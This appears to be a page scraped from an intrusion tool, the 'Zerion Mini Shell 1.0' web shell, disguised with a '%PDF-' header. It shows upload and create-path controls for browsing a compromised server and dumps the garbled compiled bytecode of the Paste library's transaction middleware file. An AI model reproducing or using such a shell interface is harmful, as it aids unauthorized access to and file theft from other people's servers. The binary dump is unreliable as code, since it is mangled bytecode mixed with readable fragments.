%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/paste/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyo

�
a�Nc@sdZddlmZddlmZdefd��YZdefd��YZdefd	��YZd
�Z	ddgZ
dekr�er�dd
l
mZeedd�Ze�Zej�Zejdejd��ej�\ZZeGeGHndS(s�
Middleware related to transactions and database connections.

At this time it is very basic; but will eventually sprout all that
two-phase commit goodness that I don't need.

.. note::

   This is experimental, and will change in the future.
i����(t
HTTPException(tcatch_errorstTransactionManagerMiddlewarecBseZd�Zd�ZRS(cCs
||_dS(N(tapplication(tselfR((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyt__init__scCs@t�|d<}t|d<t|j||d|jd|j�S(Nspaste.transaction_managerspaste.throw_errorsterror_callbacktok_callback(tManagertTrueRRterrortfinish(Rtenvirontstart_responsetmanager((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyt__call__s

	(t__name__t
__module__RR(((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyRs	RcBs,eZd�Zd�Zd�Zd�ZRS(cCst|_g|_dS(N(tFalsetabortedttransactions(R((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR"s	cCs
t|_dS(N(R	R(R((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pytabort&scCst|_|j�dS(N(R	RR(Rtexc_info((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR
)s	cCs8x1|jD]&}|jr&|j�q
|j�q
WdS(N(RRtrollbacktcommit(Rttrans((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR-s	
(RRRRR
R(((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR s			tConnectionFactorycBs#eZdZd�Zdd�ZRS(s
    Provides a callable interface for connecting to ADBAPI databases in
    a WSGI style (using the environment).  More advanced connection
    factories might use the REMOTE_USER and/or other environment
    variables to make the connection returned depend upon the request.
    cOsO||_||_||_d�|_t|jd�rK|jj|_ndS(NcSsd|jdd�S(Ns'%s't's''(treplace(ts((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyt<lambda>Cst
PgQuoteString(tmoduletargstkwargstquotethasattrR(RR R!R"((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR<s			cCs?|jj|j|j�}|j|jd<|j|jd<|S(NR R#(R tconnectR!R"t__dict__R#(RRtconn((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyRGsN(RRt__doc__RtNoneR(((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyR5s	cs��fd�}|S(s�
    Provides a simple mechanism for starting a transaction based on the
    factory; and for either committing or rolling back the transaction
    depending on the result.  It checks for the response's current
    status code either through the latest call to start_response; or
    through a HTTPException's code.  If it is a 100, 200, or 300; the
    transaction is committed; otherwise it is rolled back.
    cs_�|���|d<dg�d��fd�}d��fd�}t�||||�S(Nspaste.connectioni�csy|r3t|dt�r3�j|dj�q3n�j�dkrR�j�ny�j�WndSX�j�dS(Nii�(t
isinstanceRtappendtcodetpopRRtclose(R(R't
should_commit(sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyt	finalizerZs
cs0�jt|jd�d���|||�S(Nt i(R+tinttsplit(tstatustheadersR(R/R
(sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pytbasictrans_start_responsegs (R)R(RR
R0R6(Rtfactory(R'R/R
sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pytbasic_transactionVs
	
((RR7R8((RR7sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pytBasicTransactionHandlerMs	R9t__main__(tPgSQLtdatabasettestingsSELECT now(), %ss	B'n\'glesN(R(tpaste.httpexceptionsRtwsgilibRtobjectRRRR9t__all__RRtpyPgSQLR;R7R'tcursortcurrtexecuteR#tfetchonettimetbing(((sB/opt/alt/python27/lib/python2.7/site-packages/paste/transaction.pyt<module>s
	!	

Zerion Mini Shell 1.0